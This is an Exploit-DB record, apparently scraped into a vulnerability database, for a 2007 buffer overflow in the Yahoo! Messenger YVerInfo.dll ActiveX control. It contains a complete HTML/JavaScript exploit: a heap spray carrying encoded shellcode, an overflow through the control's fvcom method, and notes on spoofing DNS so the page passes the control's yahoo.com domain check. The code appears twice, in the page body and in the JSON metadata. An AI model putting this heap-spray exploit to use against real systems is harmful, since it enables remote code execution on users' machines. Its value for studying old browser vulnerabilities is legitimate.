ID EDB-ID:4351 Type exploitdb Reporter minhbq Modified 2007-09-01T00:00:00
Description
Yahoo! Messenger (YVerInfo.dll <= 2007.8.27.1) ActiveX BoF Exploit. Remote exploit for windows platform
<!--
Yahoo! Messenger (YVerInfo.dll <= 2007.8.27.1) ActiveX Control Buffer Overflows
update YM : http://messenger.yahoo.com/security_update.php?id=082907
Functions : fvcom or info;
RegKey Safe for Script: True
RegKey Safe for Init: True
-> that functions are safely scriptable and exploitable by HeapSpray Technique
Tested : Windows XP Professional SP2 all patched,Internet Explorer 7
That functions within this class can only be called if the control believes it is being run from the yahoo.com domain. -> I used "Simple DNS Plus" for manipulating the DNS resolution.
I saved this file (exploit.htm) into directory root (web server)
and I exploited with link : http://www.yahoo.com/exploit.htm
coder : minhbq
mail : minhbq1985@gmail.com
-->
<html>
<!-- CLSID of YverInfo.dll -->
<object classid="CLSID:D5184A39-CBDF-4A4F-AC1A-7A45A852C883" id="target"></OBJECT>
<SCRIPT language="javascript">
// HeapSpray - execute calculator
shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<800;i++) memory[i] = block + shellcode;
var buffer = unescape("%0D");
while (buffer.length< 10000) buffer+=unescape("%0D");
// Vulnerability of method fvcom
target.fvcom(buffer);
</script>
</html>
# milw0rm.com [2007-09-01]
{"id": "EDB-ID:4351", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Yahoo! Messenger YVerInfo.dll <= 2007.8.27.1 ActiveX BoF Exploit", "description": "Yahoo! Messenger (YVerInfo.dll <= 2007.8.27.1) ActiveX BoF Exploit. Remote exploit for windows platform", "published": "2007-09-01T00:00:00", "modified": "2007-09-01T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/4351/", "reporter": "minhbq", "references": [], "cvelist": [], "lastseen": "2016-01-31T20:43:20", "viewCount": 4, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-01-31T20:43:20", "rev": 2}, "dependencies": {"references": [], "modified": "2016-01-31T20:43:20", "rev": 2}, "vulnersScore": 0.1}, "sourceHref": "https://www.exploit-db.com/download/4351/", "sourceData": "<!--\nYahoo! Messenger (YVerInfo.dll <= 2007.8.27.1) ActiveX Control Buffer Overflows\n\nupdate YM : http://messenger.yahoo.com/security_update.php?id=082907\n\nFunctions : fvcom or info;\nRegKey Safe for Script: True \nRegKey Safe for Init: True\n-> that functions are safely scriptable and exploitable by HeapSpray Technique\n\nTested : Windows XP Professional SP2 all patched,Internet Explorer 7\n\nThat functions within this class can only be called if the control believes it is being run from the yahoo.com domain. -> I used \"Simple DNS Plus\" for manipulating the DNS resolution.\n\nI saved this file (exploit.htm) into directory root (web server) \nand I exploited with link : http://www.yahoo.com/exploit.htm\n\ncoder : minhbq\n mail : minhbq1985@gmail.com\n-->\n\n\n<html>\n<!-- CLSID of YverInfo.dll -->\n<object classid=\"CLSID:D5184A39-CBDF-4A4F-AC1A-7A45A852C883\" id=\"target\"></OBJECT>\n\n<SCRIPT language=\"javascript\">\n// HeapSpray - execute calculator\t\n\tshellcode = unescape(\"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063\"); \n\tbigblock = unescape(\"%u9090%u9090\"); \n headersize = 20; \n slackspace = headersize+shellcode.length\n while (bigblock.length<slackspace) bigblock+=bigblock;\n fillblock = bigblock.substring(0, slackspace);\n block = bigblock.substring(0, bigblock.length-slackspace);\n while(block.length+slackspace<0x40000) block = block+block+fillblock; \n\tmemory = new Array();\n for (i=0;i<800;i++) memory[i] = block + shellcode;\n\n\tvar buffer = unescape(\"%0D\");\n\twhile (buffer.length< 10000) buffer+=unescape(\"%0D\");\n\n// Vulnerability of method fvcom\n\ttarget.fvcom(buffer);\t\t\t\n\n</script>\n</html>\n\n# milw0rm.com [2007-09-01]\n", "osvdbidlist": []}